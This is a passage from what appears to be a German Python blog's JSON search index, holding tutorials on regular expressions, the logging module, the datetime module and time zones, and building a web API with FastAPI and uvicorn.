Maus MMMMaus Drache aus Sau Pferd\u0026#34; regex = \u0026#34;[HM]aus\u0026#34; print(\u0026#34;Alle Funde mit nur einem Anfangsbuchstaben:\u0026#34;,re.findall(regex,text)) regex = \u0026#34;[HM]+aus\u0026#34; print(\u0026#34;Alle Funde mit mehreren Anfangsbuchstaben:\u0026#34;,re.findall(regex,text)) regex = \u0026#34;[HM]*aus\u0026#34; print(\u0026#34;Alle Funde mit mehreren oder keinen Anfangsbuchstaben:\u0026#34;,re.findall(regex,text)) Output:\nAlle Funde mit nur einem Anfangsbuchstaben: [\u0026#39;Haus\u0026#39;, \u0026#39;Maus\u0026#39;, \u0026#39;Maus\u0026#39;] Alle Funde mit mehreren Anfangsbuchstaben: [\u0026#39;Haus\u0026#39;, \u0026#39;Maus\u0026#39;, \u0026#39;MMMMaus\u0026#39;] Alle Funde mit mehreren oder keinen Anfangsbuchstaben: [\u0026#39;Haus\u0026#39;, \u0026#39;Maus\u0026#39;, \u0026#39;MMMMaus\u0026#39;, \u0026#39;aus\u0026#39;] Das + bedeutet, dass die Zeichen in der Klammer mindestens einmal vorkommen müssen, aber auch mehrmals vorkommen dürfen. Wenn du stattdessen ein ⁣* schreibst, darf es auch keinmal vorkommen.\nZum Verständnis: Anstelle von \\w kannst du auch [a-zA-Z0-9_] schreiben. Es hat dieselbe Bedeutung.\nEscaping Da die Klammer eine spezielle Bedeutung hat, kannst du nicht direkt nach dem Klammersymbol [ bzw. ] suchen. Um das zu bewerkstelligen, musst du es mit einem Backslash \\ wie folgt escapen:\nimport re text = \u0026#34;Es war einmal [vor langer Zeit].\u0026#34; regex = r\u0026#39;\\[.*]\u0026#39; print(\u0026#34;Ergebnis:\u0026#34;,re.search(regex,text).group(0)) Output:\nErgebnis: [vor langer Zeit] Achte darauf, dass du raw Strings verwendest. Die normalen Pythonstrings nutzen den Backslash nämlich ebenfalls für spezielle Bedeutungen.\nDer Punkt . steht für jeden beliebigen Buchstaben. Dementsprechend müsstest du auch Punkte escapen, wenn du nach ihnen suchen wolltest.\nAndere Zeichen die escaped werden müssen sind:\n`. ^ $ * + - ? ( ) [ ] { } \\ |` Wenn es dir zu kompliziert wird, kannst du auch einfach die Python eigene re.escape Funktion verwenden.\nWas diese Symbole bedeuten kannst du in der offiziellen Dokumentation erfahren.\nSonstige spezielle Zeichen Hier ein paar weitere spezielle Zeichen die ich oft verwende:\nZeichen Bedeutung . Steht für jedes Zeichen ^ Start einer Zeile $ Ende einer Zeile * 0 oder mehr Wiederholungen von vorangegangen Zeichen oder Set + 1 oder mehr Wiederholungen von vorangegangen Zeichen oder Set ? 0 oder 1 Wiederholungen von vorangegangenen Zeichen oder Set {m} genau m Wiederholungen von vorangegangenen Zeichen oder Set \\ Escaped ein Zeichen [] definiert ein Set \\d steht für Zahlen, wie [0-9] \\s Alle Whitespaces (Tabs, Leertasten, Zeilenumbrüche usw.) \\S Alles was kein Whitespace ist (Gegenteil von \\s) \\w Buchstaben die in Wörtern vorkommen, bei ASCII wie [a-zA-Z0-9_] \\S Alles was kein Whitespace ist (Gegenteil von \\s) \\b Markiert den Anfang oder das Ende eines Wortes Regex Gruppensuche Mithilfe von Gruppen kannst du Teile der Suchergebnisse direkt einer Variable zuweisen. Das ist vor allem bei großen und komplexen Texten sinnvoll.\nEine Gruppe ist ein Teil eines Regex Pattern, das in runden Klammern eingeschlossen ist. Wenn du also Teile deines Patterns gruppieren möchtest, kannst du einfach Klammern um den Teil setzen.\nFolgender Regex findet zwei aufeinanderfolgende großgeschriebene Worte:\nimport re text = \u0026#34;Es war einmal und IST nicht mehr ein AUSGESTOPFTER TEDDYBAER. Er riss sich arm und Beine aus und fuhr sofort ins Krankenhaus.\u0026#34; regex = r\u0026#34;(\\b[A-Z]+\\b) (\\b[A-Z]+\\b)\u0026#34; result = re.search(regex, text) print(result.groups()) print(result.group(1)) print(result.group(2)) (\u0026#39;AUSGESTOPFTER\u0026#39;, \u0026#39;TEDDYBAER\u0026#39;) AUSGESTOPFTER TEDDYBAER Nützliche Anwendungsbeispiele Zu guter Letzt möchte ich dir noch ein paar nützliche Reguläre Ausdrücke mit auf dem Weg geben, die immer wieder nützlich werden können.\nIP-Adressen validieren:\n^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$ Passwortüberprüfung (8 Zeichen, mindestens ein Großbuchstabe, mindestens ein kleiner Buchstabe, eine Zahl und ein Symbol):\n^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*\\W).{8,}$ E-Mail Format Prüfung:\n^[a-zA-Z0-9.!#$%\u0026amp;’*+=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\\.[a-zA-Z0-9-]+)+$ Links Regex Online ausprobieren: https://regex101.com/ (beachte, dass die Formatierung in Python manchmal etwas anders ist wenn du Zeichen Escapen musst!)\nRegex Python Doku https://docs.python.org/3/library/re.html\n","permalink":"https://quisl.de/b/wie-du-regulaere-ausdruecke-mit-python-verwendest-textsuche-mit-regex/","summary":"Mithilfe von regulären Ausdrücken (oder kurz Regex) kannst du maschinell Textstellen aus einem Text finden, bestimmte Zahl in einer Datei auslesen, die Textausgabe eines Kommandozeilentools weiterverarbeiten und einen String auf korrekte Syntax überprüfen.\nReguläre Ausdrücke haben sich in der Informatik längst als Industriestandard etabliert. Sie helfen beim automatischen Auswerten von jeder Form von Strings. Dabei handelt es sich um Schablonen bzw. Templates. Anhand dieser Templates können Substrings in einem größeren Text gefunden werden.","title":"Wie du Reguläre Ausdrücke mit Python verwendest – Textsuche mit Regex"},{"content":"Das Loggingmodul gehört zum Standardrepertoire eines Pythonentwicklers.\nZur Fehleranalyse von Software willst du zur Laufzeit manchmal wissen was gerade so passiert. Gerade In größeren Projekten die aus mehreren Modulen bestehen kann das zur Laufzeit sehr unübersichtlich werden.\nEine der gängigsten Lösung ist es, dass du eine Loggingkonsole oder Logdateien bereitstellst um dem Anwender (und vor allem dir selbst!) die Fehleranalyse zu vereinfachen.\nEine Lösung bietet das logging Modul. Damit kannst du Events, die gerade stattfinden auf der Konsole ausgeben oder in eine Datei schreiben. In diesem Tutorial stelle ich dieses Modul vor und zeige dir ein paar Standardanwendungen.\nWann und warum du Logging verwenden solltest In jedem Fall solltest du Logging Events einsetzen, um aufzuzeigen wie der aktuelle und vergangene Status des Programms ist. Loggingevents kannst du immer dann verwenden, wenn dein Programm etwas tut, bei dem es möglicherweise zu Fehlern kommen könnte.\nDas betrifft zum Beispiel\u0026hellip;\nden Zugriff auf eine Datenbank die Kontaktaufnahme mit einer API die Erstellung eines komplexen Objekts eine Ausführung eines zeitlichen Auslösers eine folgenschwere Benutzereingabe und so weiter.\nAuch wenn etwas nicht direkt zum Fehler führt hat, sondern nur zukünftig zu Fehlern führen kann, kannst du ein Loggingevent in Form einer Warnung erstellen. Beispielsweise wenn das Programm mit einer alten Runtimeversion läuft die zwar funktioniert, aber nicht den vollen Funktionsumfang bietet. Oder, wenn ein Festplattenspeicher kurz davor ist voll zu werden.\nZuletzt kannst du Logging als Alternative zu Kommentaren im Quellcode in Betracht ziehen. Die Dokumentation des Quellcodes gehört nicht in die Logs. Aber komplexe Ausführungsschritte wie \u0026ldquo;Connecting to Database \u0026hellip;\u0026rdquo; oder \u0026ldquo;Reading file \u0026hellip;\u0026rdquo; können für eine zukünftige Fehlersuche sinnvoll sein.\nWann du kein Logging verwenden solltest Es gibt auch Fälle, bei denen die Loggingkonsole nicht das Mittel der Wahl ist. So ist die Loggingnachricht beim Auftreten eines kritischen Fehlers kein Ersatz für eine richtige Exception die das Programm beendet.\nDer Enduser sollte für die normale Nutzung des Programms ebenfalls nicht in Berührung mit den Logs kommen. Wenn du einfach nur etwas auf der Kommandozeile ausgeben möchtest, solltest du auf Funktionen wie print() zurückgreifen.\nManche Informationen sollten auf keinen Fall in den Logs landen. Vor allem sensitive Informationen wie Passwörter oder private Schlüssel solltest du nicht in die Lognachrichten schreiben. Benutzernamen sind hingegen meistens in Ordnung da sie bei der Fehlerbehebung helfen können.\nWie funktioniert Logging Mit dem Logging Modul kannst du auf das Loggingsystem zugreifen. Dabei werden Loggingströme erzeugt auf die du wie beim publish-subscribe Pattern zugreifen kannst. Jeder dieser Ströme hat einen eigenen Namen. Du kannst deine Loggingströme zum Beispiel nach dem Modul benennen, bei dem das zu loggende Event aufgetreten ist.\nDarüber hinaus kann jedes Logevent ein Level haben, das den Detailgrad beschreibt. Die verschiedenen Level sind:\nLevel Bezeichnung Wann benutzen 5 DEBUG Detaillierte Informationen, die normalerweise nur bei der Diagnose von Problemen von Interesse sind. 4 INFO Bestätigung, dass die Dinge wie erwartet funktionieren. 3 WARNING Ein Hinweis darauf, dass etwas Unerwartetes passiert ist, oder ein Hinweis auf ein Problem in naher Zukunft (z. B. „weniger Speicherplatz“). Die Software funktioniert noch wie erwartet. 2 ERROR Aufgrund eines schwerwiegenderen Problems konnte die Software einige Funktionen nicht ausführen. 1 CRITICAL Ein schwerwiegender Fehler, der darauf hinweist, dass das Programm selbst möglicherweise nicht weiter ausgeführt werden kann. Je höher das Level, desto mehr Details beinhalten die Logevents.\nWie du Loggingströme anzeigst Um die Nachrichten eines Loggers anzuzeigen, musst du den jeweiligen Logger importieren. Beim root Logger werden in der Standardeinstellung nur die Logginglevel WARNING, ERROR und CRITICAL angezeigt.\nimport logging logging.debug(\u0026#34;Dies wird nicht angezeigt\u0026#34;) logging.warning(\u0026#34;Dies wird angezeigt\u0026#34;)\u0026lt;/code\u0026gt;\u0026lt;/pre\u0026gt; WARNING:root:Dies wird angezeigt Manuelles Logginglevel Das Verhalten, bei dem nicht alle Logginglevel angezeigt werden, kannst du, umkonfigurieren. Dazu musst du das Logginglevel, also die Hürde bis der Logs angezeigt werden, aus bzw. auf 0 stellst.\nimport logging logging.root.setLevel(logging.NOTSET) logging.debug(\u0026#34;Dies wird jetzt angezeigt\u0026#34;) logging.error(\u0026#34;Dies wird auch angezeigt\u0026#34;) DEBUG:root:Dies wird jetzt angezeigt ERROR:root:Dies wird auch angezeigt Modularer Logger Das oben beschriebene Vorgehen wird dir auch die Logs anzeigen die von Modulen generiert wurden, die du importiert hast. Falls du allerdings nur die Logs für Teile deines Programms und nicht alle Loggingströme des Root-Loggers anzeigen willst, kannst du auch deinen eigenen Logger erstellen und dann nur diesen anzeigen.\nimport logging logger = logging.getLogger(\u0026#34;MeinModul\u0026#34;) # Anstelle von \u0026#34;MeinModul\u0026#34; kannst du auch \u0026#34;__name__\u0026#34; eingeben # um den Namen automatisch zu ermitteln. # Alternativ kannst du die Parameter auch leer lassen. Dann zeigt dein # Logger dieselben Logs wie der Root-Logger. logger.addHandler(logging.StreamHandler()) # Die Logs werden Sichtbar wenn du das Logging Level wählst. logger.setLevel(logging.DEBUG) logger.info(\u0026#34;Jetzt wird dein Logger angezeigt\u0026#34;) logging.info(\u0026#34;Der Root Logger wird nicht mehr angezeigt\u0026#34;) Jetzt wird dein Logger angezeigt Individuelles Loggingformat import logging # Pick logger (leave empty to print all logs) logger = logging.getLogger() HANDLER = logging.StreamHandler() # Setting logging format: formatter = logging.Formatter( \u0026#39;%(asctime)s %(name)-12s %(levelname)-8s %(message)s\u0026#39;) HANDLER.setFormatter(formatter) logger.addHandler(HANDLER) # Picking log level to make visible: logger.setLevel(logging.DEBUG) logger.debug(\u0026#34;Log im eigenen Format\u0026#34;) 2021-08-08 10:14:02,374 root DEBUG Log im eigenen Format Alternativ kannst du auch eine Konfigurationsdatei verwenden:\nDazu musst du eine Datei erstellen logging.ini:\n[loggers] keys=root [handlers] keys=stream_handler [formatters] keys=formatter [logger_root] level=DEBUG handlers=stream_handler [handler_stream_handler] class=StreamHandler level=DEBUG formatter=formatter args=(sys.stderr,) [formatter_formatter] format=%(asctime)s %(name)-12s %(levelname)-8s %(message)s Diese kannst du nun mit folgender Zeile verwenden:\nimport logging logging.config.fileConfig(\u0026#34;logging.ini\u0026#34;, disable_existing_loggers = False) Wie du in Dateien Loggst import logging logging.basicConfig( filename=test.log, filemode=\u0026#39;a\u0026#39;, format=\u0026#39;%(asctime)s,%(msecs)d %(name)s %(levelname)s %(message)s\u0026#39;, datefmt=\u0026#39;%H:%M:%S\u0026#39;, level=logging.DEBUG ) logging.info(\u0026#34;Jetzt wird sowohl der Root Logger...\u0026#34;) logger = logging.getLogger(\u0026#39;mylogger\u0026#39;) logger.info(\u0026#34;Als auch der eigene Logger in eine Datei geloggt.\u0026#34;) Inhalt von test.log:\n10:01:58,733 root INFO Jetzt wird sowohl der Root Logger... 10:02:26,685 mylogger INFO Als auch der eigene Logger in eine Datei geloggt.``` ","permalink":"https://quisl.de/b/wie-du-das-python-modul-logging-verwendest/","summary":"Das Loggingmodul gehört zum Standardrepertoire eines Pythonentwicklers.\nZur Fehleranalyse von Software willst du zur Laufzeit manchmal wissen was gerade so passiert. Gerade In größeren Projekten die aus mehreren Modulen bestehen kann das zur Laufzeit sehr unübersichtlich werden.\nEine der gängigsten Lösung ist es, dass du eine Loggingkonsole oder Logdateien bereitstellst um dem Anwender (und vor allem dir selbst!) die Fehleranalyse zu vereinfachen.\nEine Lösung bietet das logging Modul. Damit kannst du Events, die gerade stattfinden auf der Konsole ausgeben oder in eine Datei schreiben.","title":"Wie du das Python Modul logging verwendest"},{"content":"In diesem Artikel lernst du, warum es keine gute Idee ist eigene Datenstrukturen für Zeiten zu bauen und wie dir das datetime Modul viel Arbeit abnimmt.\nIn fast allen größeren Projekten stößt du früher oder später auf die Aufgabe Zeiten zu speichern und zu modifizieren… Einfach Sekunden, Minuten, Stunden, Tage, Monate und Jahre speichern. Was kann da schon schiefgehen? Eine ganze Menge!\nIn den folgenden Zeilen erfährst du etwas über die Probleme, auf die bei der Entwicklung stoßen könntest und wie du sie umgehst.\nWarum nicht selbst machen Stell dir vor du schreibst ein Programm, bei dem du das Zeit Handling selbst machst. Stunden und Tage sind schließlich immer gleich lang, denkst du dir. Das ist komplexer als man denken mag. Es gibt politische Gründe, historische und astronomische Gründe die gegen eine Eigenentwicklung sprechen.\nPolitische Gründe Stell dir vor es kommt ein User der fragt, ob du das Programm auch für die Zeitzone seines Landes bereitstellen kannst. Kein Problem. Einfach je nach Land eine Anzahl an Stunden auf deine Zeit aufaddieren bzw. abziehen und du hast die Zeit in einer anderen Zeitzone. Leider funktioniert das nicht so einfach!\nGroße Länder Viele Länder wie Russland, Australien oder die USA erstrecken sich über mehrere Zeitzonen. Dementsprechend reicht das Land nicht aus, um eine Zeitzone zu bestimmen. Selbst die Stadt ist auch nicht zwangsläufig hinreichend, weil manche Orte mehrmals in einem Land vorhanden sind. In den USA gibt es beispielsweise 34 Orte mit dem Namen Springfield.\nUnd um die Verwirrung komplett zu machen, gibt es noch Orte wie Israel bzw Westjordanland, wo die Menschen in derselben Nachbarschaft unterschiedliche Zeitzonen benutzen können. Hintergrund ist, dass die Israelis und die Palästinenser sich nicht auf eine einheitliche Regelung geeinigt haben.\nUnendlich viele Zeitzonen Die einzige Möglichkeit wäre den User direkt zu Fragen welche Zeitzone er verwenden möchte. Auch das erweist sich als schwierig, weil Zeitzonen politische Konstrukte sind und sich dementsprechend jederzeit ändern können. Während die meisten bekannten Zeitzonen in ganzen Stunden voneinander abweichen gibt es auch Zeitzonen die das anders Handhaben. Länder wie Australien verwenden halbstündige Zeitzonen. Nepal verwendet sogar Viertelstunden: Die Nepal Standard Time ist genau 5 Stunden und 45 Minuten vor UTC (Koordinierte Weltzeit).\nPraktisch müsstest du eine Liste von allen aktuellen Zeitzonen bereitstellen aus denen dein User wählen kann.\nZeitumstellungen Angenommen du fragst den User nach einer Zeitzone. Irgendwann wird diese Zeitzone nicht mehr für den User passen, denn viele Länder ändern ihre Zeitzone einfach mitten im Jahr! So ist es in Europa und den USA üblich im Sommer auf die Sommerzeit (und im Winter auf die Winterzeit) zu stellen. Allerdings ist auch dies nicht unbedingt im ganzen Land gleich. So macht beispielsweise der US-Bundesstaat Arizona bei dieser Zeitumstellung gar nicht mit.\nDarüber hinaus ist die Zeitumstellung nicht in allen Ländern zum selben Zeitpunkt. In England beispielsweise ist die Zeitumstellung eine Woche vor der in Deutschland.\nNoch wilder wird es, wenn du die Länder von der südlichen Hemisphäre inkludierst. Dort ist Sommerzeit und Winterzeit im Vergleich zur nördlichen Hemisphäre vertauscht. Im September werden die Uhren in Chile eine Stunde vorgestellt. In Deutschland hingegen werden Ende Oktober die Uhren für die Winterzeit eine Stunde zurückgestellt.\nUnd dann gibt es noch Spezialfälle wie die Insel Samoa. Samoa liegt im Pazifik an der Grenze zwischen den großen Zeitzonen UTC-12 Stunden und UTC+12 Stunden. Dort ist es üblich gelegentlich einen Tag zu überspringen, indem in die benachbarte Zeitzone gewechselt wird. Angeblich hilft das beim Handel mit Australien.\nHistorische Gründe Es gibt bzw. gab mehrere unterschiedliche Kalendersysteme. In Europa wurden hauptsächlich das julianische und das gregorianischen System genutzt. Im 16. Jahrhundert wurde in den meisten europäischen Lädnern vom julianischen zum gregorianischen Kalendersystem gewechselt. Dabei sind leider ein paar Wochen “übersprungen” worden. Das müsstest du beim Programmieren beachten.\nIn Russland ist man hingegen erst im 20. Jahrhundert zum gregorianischen Kalender gewechselt. Da das Jahr im gregorianische Kalender etwa 11 Minuten kürzer (und damit näher am astronomischen Jahr liegt) ist als das Jahr im Julianischen Kalender, musste in Ländern wie Russland eine andere Anzahl an Tagen übersprungen werden. Schließlich bedeuten 11 Minuten Unterschied etwa einen Tag alle 128 Jahre! Du müsstest beim Umrechnen ins andere System also auch beachten, für welchen Ort du es umrechnen willst.\nNebenbei: Einige religiöse Feiertage nutzen den julianischen Kalender übrigens noch immer. So feiert man Weihnachten in Russland am 7. Januar und nicht wie bei uns am 25. Dezember (bzw. Heiligabend am 24. Dezember).\nAstronomische Gründe Immer, wenn die Erde einmal um die Sonne fliegt nennen wir das ein Jahr. Und, wenn sie sich einmal um sich selbst dreht nennen wir das einen Tag. Leider sind diese Zeiträume nicht immer gleichlang.\nSchaltjahre Alle 4 Jahre wird am Ende des Februar ein Tag eingefügt. Dementsprechend ist ein Jahr eigentlich keine 365, sondern 365,2425 Tage lang. Durch Einfügung eines extra Tages alle 4 Jahre wird das wieder angepasst. Alle Jahreszahlen die durch 4 Teilbar sind, sind Schaltjahre. Es sei denn sie sind durch 100 und nicht durch 400 Teilbar. Um das zuverdeutlichen hier ein paar Beispiele von Jahreszahlen die zwar durch 4 teilbar sind, aber keine Schaltjahre sind: 1500, 1700, 1800, 1900, 2100, 2200, 2300, 2500… Ich nehme an du erkennst das Muster.\nSchaltsekunden Die Erde rotiert nicht immer in derselben Geschwindigkeit. Sie wird manchmal schneller oder langsamer. Das kann an der Verschiebung der tektonischen Platten liegen. Vielleicht auch an den sich ändernden Magnetfeldern\u0026hellip; Genau weiß man das noch nicht. Auf jeden Fall entscheidet hierzulande die Physikalisch-Technische Bundesanstalt ob und wann wir eine Schaltsekunde brauchen. Natürlich kann das in anderen Ländern jemand anderes entscheiden, der dann zu einem anderen Ergebnis kommen könnte.\nPythons Datetime Modul Klar, natürlich kannst du alles hier erwähnte in den deinen Code integrieren. Aber das muss nicht sein!\nEs gibt nämlich andere Leute, die sich mit diesem Wahnsinn befasst haben. Ein paar dieser Wahnsinnigen waren die Ersteller des “datetime” Moduls.\nHier folgen ein paar Eindrücke über die Nutzung.\nDatetime Objekte erstellen Das datetime Modul nutzt Objekte der datetime.datetime Klasse, um einen Zeitpunkt darzustellen. Aktueller Zeitpunkt\nimport datetime now = datetime.datetime.now() print(type(date)) print (now) \u0026lt;class \u0026#39;datetime.datetime\u0026#39;\u0026gt; 2021-07-04 12:02:29.112587 Spezieller Zeitpunkt\nimport datetime date = datetime.datetime(1990, 4, 4, 13, 55) print(type(date)) print(date) \u0026lt;class \u0026#39;datetime.datetime\u0026#39;\u0026gt; 1990-04-04 13:55:00 Mit Datetime Objekten rechnen Ein Zeitintervalobjekt (datetime.timedelta) speichert die Differenz zwischen zwei Zeitpunkten.\nZeitinverval berechnen\nWenn du Zeitpunkte voneinander abziehst gibt dir datetime ein timedelta Objekt.\nimport datetime date1 = datetime.datetime(1990, 4, 4) date2 = datetime.datetime(1991, 4, 4) delta = date1 - date2 print(type(delta)) print(delta) print(datetime.timedelta(days=-365)) \u0026lt;class \u0026#39;datetime.timedelta\u0026#39;\u0026gt;\r-365 days, 0:00:00\r-365 days, 0:00:00 Zeitpunkte modifizieren\nimport datetime date1 = datetime.datetime(1990, 4, 4) delta = datetime.timedelta(days=365) date2 = date1 + delta print(type(date2)) print(date2) \u0026lt;class \u0026#39;datetime.datetime\u0026#39;\u0026gt; 1991-04-04 00:00:00 Zeitpunkte vergleichen\nimport datetime date1 = datetime.datetime(1990, 4, 4) date2 = datetime.datetime(1991, 4, 4) print(date1 \u0026lt; date2) True Mit Datetime Strings arbeiten Darüber hinaus kann datetime auch Strings einlesen und exportieren.\nString in Datetime umwandeln\nimport datetime datum = \u0026#34;1990-04-04\u0026#34; format = \u0026#34;%Y-%m-%d\u0026#34; date = datetime.datetime.strptime(datum, format) print(type(date)) print(date) \u0026lt;class \u0026#39;datetime.datetime\u0026#39;\u0026gt; 1990-04-04 00:00:00 Datetime in String umwandeln\nimport datetime date = datetime.datetime(1990, 4, 4) format = \u0026#34;%m/%d/%Y, %H:%M:%S\u0026#34; string = date.strftime(format) print(type(string)) print(string) \u0026lt;class \u0026#39;str\u0026#39;\u0026gt; 04/04/1990, 00:00:00 Da es unterschiedliche Schreibweisen gibt, kannst du das Format natürlich auch anpassen. Hier die wichtigsten Zeichen:\nDirektive Bedeutung Beispiel %A Wochentag als Text * Sonntag, Montag, \u0026hellip;, Samstag %w Wochentag als zahl. Sonntag ist 0 \u0026hellip; Samstag ist 6 0, 1, \u0026hellip;, 6 %d Tag des Monats als Zahl (mit 2 Stellen) 01, 02, \u0026hellip;, 31 %B Monat als Text * Januar, Februar, \u0026hellip;, Dezember %m Monat als Zahl mit (2 Stellen) 01, 02 \u0026hellip;, 12 %Y Jahr (4 Stellen) 0001, 0002, \u0026hellip;, 2013, 2014, \u0026hellip;, 9998, 9999 %H Stunde (24 H, 2 Stellen) 00, 01, \u0026hellip;, 23 %I Stunde (12 H, 2 Stellen) 01, 02, \u0026hellip;, 12 %p Vormittag oder Nachmittag * am, pm %M Minute in Stunde (2 Stellen) 00, 01, \u0026hellip;, 59 %S Sekunde in Minute (2 Stellen) 00, 01, \u0026hellip;, 59 %z Zeitzone als Offset (±HHMM[SS[.ffffff]]) (empty), +0000, -0400, +1030, +063415, -030712.345216 %Z Zeitzone als Text (empty), UTC, GMT %c Darstelling der in lokalen Format * Di 16 Aug 21:30:00 1988 %% Tatsächliches Prozentzeichen (escaped) % * = Je nach Sprache bzw. locale settings\n","permalink":"https://quisl.de/b/zeitmodifikationen-warum-datetime/","summary":"In diesem Artikel lernst du, warum es keine gute Idee ist eigene Datenstrukturen für Zeiten zu bauen und wie dir das datetime Modul viel Arbeit abnimmt.\nIn fast allen größeren Projekten stößt du früher oder später auf die Aufgabe Zeiten zu speichern und zu modifizieren… Einfach Sekunden, Minuten, Stunden, Tage, Monate und Jahre speichern. Was kann da schon schiefgehen? Eine ganze Menge!\nIn den folgenden Zeilen erfährst du etwas über die Probleme, auf die bei der Entwicklung stoßen könntest und wie du sie umgehst.","title":"Zeitmodifikationen – Warum du das Python Modul datetime verwenden solltest"},{"content":"FastAPI ist ein performantes Python 3.6+ Framework mit dem du in wenigen Zeilen eine Web API erstellen kannst.\nVor allem beim Entwickeln von Microservicearchitekturen funktioniert die Kommunikation zwischen den Services oftmals über HTTP(S) Api\u0026rsquo;s. Aufgrund der großen Menge von API\u0026rsquo;s willst du möglichst wenig Schreibarbeit mit jeder einzelnen API haben. Das Pythonmodul FastAPI nimmt sich diesem Problem an.\nDas Projekt wurde im Dezember 2018 von Sebastián \u0026rsquo;tiangolo\u0026rsquo; Ramírez auf Github gestellt und wird seitdem aktiv weiterentwickelt. Selbst Firmen wie Microsoft, Uber oder Netflix setzen FastAPI schon ein.\nDer Entwickler gibt folgende Features an:\nSchnell in der Ausführung (vergleichbar mit Go und NodeJS) Schnell zu entwickeln Weniger Bugs (durch menschliche Fehler) Intuitiv Weniger Code Robustheit Halten an API Standards wie OpenAPI (Swagger) und JSON Schema In diesem Artikel lernst du, wie du das FastAPI Modul einsetzt, um deine eigene API bereitzustellen.\nFastAPI installieren Du kannst FastAPI auf so gut wie allen Systemen installieren, auf denen du auch Python installieren kannst. Das liegt daran, dass es über die Paketverwaltungssoftware pip herunterladbar ist.\nAchte darauf, dass du Python in der Version 3.6 (oder höher) sowie pip installiert hast. Letzteres wird meistens automatisch installiert, sobald du Python installierst.\nIst dies geschafft, kannst du fastapi wie folgt über die Kommandozeile installieren.\npip install fastapi FastAPI greift gerne auf Objekte vom Python-Multipart Modul zu. Also installierst du das am besten auch gleich mit.\npip install python-multipart Zu guter Letzt brauchst du noch einen Webserver, der deinen ASGI Code ausführt. In diesem Beitrag verwende ich den Webserver Uvicorn. Diesen kannst du auch mit pip installieren.\npip install uvicorn Erste Schritte Das einfachste Beispiel ist wie immer Hallo Welt.\nHallo Welt Beispiel Erstelle eine Datei \u0026ldquo;main.py\u0026rdquo; mit folgendem Inhalt.\nmain.py\nfrom fastapi import FastAPI app = FastAPI() @app.get(\u0026#34;/\u0026#34;) async def root(): return {\u0026#34;message\u0026#34;: \u0026#34;Hello World\u0026#34;} Dieser Code liefert einen GET Aufruf, der ein JSON ausgibt.\n{ \u0026#34;message\u0026#34;: \u0026#34;Hello World\u0026#34;} Webserver Uvicorn Du kannst dieses Beispiel mit Uvicorn ausführen.\nuvicorn main:app --reload --port 8000 ←[32mINFO←[0m: Started server process [←[36m6228←[0m] ←[32mINFO←[0m: Waiting for application startup. ←[32mINFO←[0m: Application startup complete. ←[32mINFO←[0m: Uvicorn running on ←[1mhttp://127.0.0.1:8000←[0m (Press CTRL+C to quit) Jetzt läuft dein Hallo Welt Programm in der Konsole. Du kannst mit dem Browser über http://127.0.0.1:8000 darauf zugreifen.\nAlternativ, wenn du das Programm nicht über Uvicorn starten, sondern es als Pythonprogramm ausführen willst, kannst du Uvicorn auch importieren.\nstart.py\nimport uvicorn uvicorn.run(\u0026#34;main:app\u0026#34;, port=8000, log_level=\u0026#34;info\u0026#34;) python start.py ←[32mINFO←[0m: Started server process [←[36m6228←[0m] ←[32mINFO←[0m: Waiting for application startup. ←[32mINFO←[0m: Application startup complete. ←[32mINFO←[0m: Uvicorn running on ←[1mhttp://127.0.0.1:8000←[0m (Press CTRL+C to quit) Automatische Dokumentation Da FastAPI hauptsächlich für API\u0026rsquo;s eingesetzt wird, wird automatisch eine grafische Dokumentation inklusive OpenAPI Beschreibung erstellt.\nSolange der Webserver läuft, kannst du über http://127.0.0.1/docs darauf zugreifen.\nDiese Dokumentation kannst du im Notfall deaktivieren, indem du beim FastAPI Aufruf den folgenden Parameter setzt.\napp = FastAPI(docs_url=None) Formulardaten per POST Normalerweise schickt der Browser Daten per POST an eine API. Das kannst du auch mit FastAPI entgegennehmen. Dazu brauchst du neben der FastAPI noch die Form Klasse aus dem fastapi Modul.\nHier mal ein Beispiel wie du Textboxen und Checkboxen entgegennimmst.\nmain.py\nfrom fastapi import FastAPI, Form app = FastAPI() @app.post(\u0026#34;/\u0026#34;) async def root( name: str = Form(…), testcheckbox: bool = Form(False) ): return {\u0026#34;message\u0026#34;: f\u0026#34;Hello {name}\u0026#34;, \u0026#34;checkbox\u0026#34;: testcheckbox} Und nach wie vor Ausführen.\nuvicorn main:app --reload --port 8000 ←[32mINFO←[0m: Started server process [←[36m6228←[0m] ←[32mINFO←[0m: Waiting for application startup. ←[32mINFO←[0m: Application startup complete. ←[32mINFO←[0m: Uvicorn running on ←[1mhttp://127.0.0.1:8000←[0m (Press CTRL+C to quit) Um das Programm zu nutzen, kannst du dir ein Formular in HTML bauen und es mit dem Browser öffnen.\n\u0026lt;form action=\u0026#34;http://localhost:8000/\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;textarea rows=\u0026#34;5\u0026#34; cols=\u0026#34;60\u0026#34; name=\u0026#34;name\u0026#34;\u0026gt;Hier Namen eingeben\u0026lt;/textarea\u0026gt; \u0026lt;input type=\u0026#34;checkbox\u0026#34; name=\u0026#34;testcheckbox\u0026#34; id=\u0026#34;testcheckbox\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;testcheckbox\u0026#34;\u0026gt;EineCheckbox\u0026lt;/label\u0026gt; \u0026lt;br\u0026gt;\u0026lt;br\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; Abschluss In diesem Beitrag haben wir nur an der Oberfläche von FastAPI gekratzt. Man kann noch viel mehr damit machen\u0026hellip;\nAuthorisierung Hintergrundtasks CORS Datenbankanbindungen und vieles mehr. Der Hauptanwendungszweck für FastAPI ist wahrscheinlich der Einsatz in Microservicearchitekturen. In Verbindung mit Docker muss man oft eine API bereitstellen. Durch die flüssige Schreibweise von FastAPI lässt sich das gut bewerkstelligen.\nPS: Auch wenn es prinzipiell möglich ist mit FastAPI ganze Webseiten zu bauen solltest du - meiner Meinung nach - dafür lieber auf andere Frameworks wie Django setzen.\n","permalink":"https://quisl.de/b/wie-du-eine-api-in-python-bereitstellst-fastapi-tutorial-fuer-anfaenger/","summary":"FastAPI ist ein performantes Python 3.6+ Framework mit dem du in wenigen Zeilen eine Web API erstellen kannst.\nVor allem beim Entwickeln von Microservicearchitekturen funktioniert die Kommunikation zwischen den Services oftmals über HTTP(S) 